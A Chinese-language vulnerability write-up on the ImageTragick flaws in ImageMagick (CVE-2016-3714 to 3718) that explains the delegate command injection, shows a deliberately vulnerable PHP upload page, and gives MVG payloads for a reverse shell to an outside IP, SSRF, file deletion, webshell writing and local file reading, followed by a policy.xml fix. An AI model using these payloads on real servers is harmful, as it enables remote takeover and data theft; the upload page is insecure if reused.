关于ImageMagick

ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以对图片进行切割、旋转、组合等多种特效的处理。由于其功能强大、性能较好,并且对很多语言都有拓展支持,所以在程序开发中被广泛使用。许多网站开发者喜爱使用ImageMagick拓展来做web上的图片处理工作,比如用户头像生成、图片编辑等。

漏洞描述

ImageMagick是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。当攻击者构造含有恶意代码得图片时,ImageMagick库对于HTTPPS文件处理不当,没有做任何过滤,可远程实现远程命令执行,进而可能控制服务器。
与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717,其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。国外的安全人员为此新建的一个网站: https://imagetragick.com/

影响范围:ImageMagick 6.9.3-9以前的所有版本

原理分析

命令执行漏洞是出在ImageMagick对https形式的文件处理的过程中。

ImageMagick之所以支持那么多的文件格式,是因为它内置了非常多的图像处理库,对于这些图像处理库,ImageMagick给它起了个名字叫做”Delegate”(委托),每个Delegate对应一种格式的文件,然后通过系统的system()命令来调用外部的lib进行处理。调用外部lib的过程是使用系统的system命令来执行的,导致命令执行的代码。

ImageMagick委托的默认配置文件: /etc/ImageMagick/delegates.xml
参考代码:配置
定位到https委托得那一行

"  <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"

command定义了它对于https文件处理时带入system()函数得命令:"wget" -q -O "%o" "https:%M"
wget是从网络下载文件得命令,%M是一个占位符,它得具体定义在配置文件中如下:

%i  input image filename
%o  output image filename
%u  unique temporary filename
%Z  unique temporary filename
%#  input image signature
%b  image file size
%c  input image comment
%g  image geometry
%h  image rows (height)
%k  input image number colors
%l  image label
%m  input image format
%p  page number
%q  input image depth
%s  scene number
%w  image columns (width)
%x  input image x resolution
%y  input image y resolution

%m被定义为输入的图片格式,也就是输入的url地址。但是由于只是做了简单的字符串拼接,没有做任何过滤,直接拼接到command命令中,可以将引号闭合后通过"|",”`”,”&”等带入其他命令,也就形成了命令注入。

比如我们传入如下代码:

https://example.com"|ls "-al
则实际得system函数执行得命令为:

"wget" -q -O "%o" "https://example.com"|ls "-al"

这样,ls -al命令成功执行。

漏洞利用

测试环境用的是:ImageMagick 命令执行漏洞(CVE-2016–3714)环境
创建一个test.png的文件,内容如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-al)'
pop graphic-context

这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞:

push和pop是用于堆栈的操作,一个进栈,一个出栈;
viewbox是表示SVG可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面;
fill url()是把图片填充到当前元素内;
在其中我们使用了fill url()的形式调用存在漏洞的https delegate,当ImageMagick去处理这个文件时,漏洞就会被触发。

附:ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,允许在其中加载ImageMagick中其他的delegate(比如存在漏洞的https delegate)。并且在图形处理的过程中,ImageMagick会自动根据其内容进行处理,也就是说我们可以将文件随意定义为png、jpg等网站上传允许的格式,这大大增加了漏洞的可利用场景。

写了一个图片上传测试页面

<!doctype html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>upload</title>
</head>

<body>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" value="submit">
    </form>
</body>
<?php

        $filename = $_FILES['file']['name'];
        $type = substr($filename, strrpos($filename, '.')+1);

        if ($type === "jpg" || $type === "png" || $type === "gif") {
                move_uploaded_file($_FILES['file']['tmp_name'], $filename);
                $imgObject = new Imagick($filename);
        }
?>

</html>

上传nc.png,内容为:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/45.xxx.xxx.23/2233 0>&1")'
pop graphic-context

监听反弹shell

如果不反弹shell,我们无法得知是否存在漏洞,可以用cloudeye,ceye等工具,查看请求记录。

push graphic-context
viewbox 0 0 640 480
fill 'url(http://image.rfuoqv.ceye.io)'
pop graphic-context

其他cve漏洞

CVE-2016-3718,利用mvg格式中可以包含url的特点,进行SSRF攻击

push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

CVE-2016-3715是利用ImageMagick支持的ephemeral协议,来删除任意文件

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
pop graphic-context

CVE-2016-3716是利用ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell。

特别说明的是,msl协议是读取一个msl格式的xml文件,并根据其内容执行一些操作:

file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
pop graphic-context

/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

CVE-2016-3717可以造成本地文件读取漏洞:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/hosts'
pop graphic-context

修复

  1. 升级到最新版本
  2. 使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap> 

参考

  1. CVE-2016-3714 - ImageMagick 命令执行分析
  2. ImageMagick命令执行漏洞浅析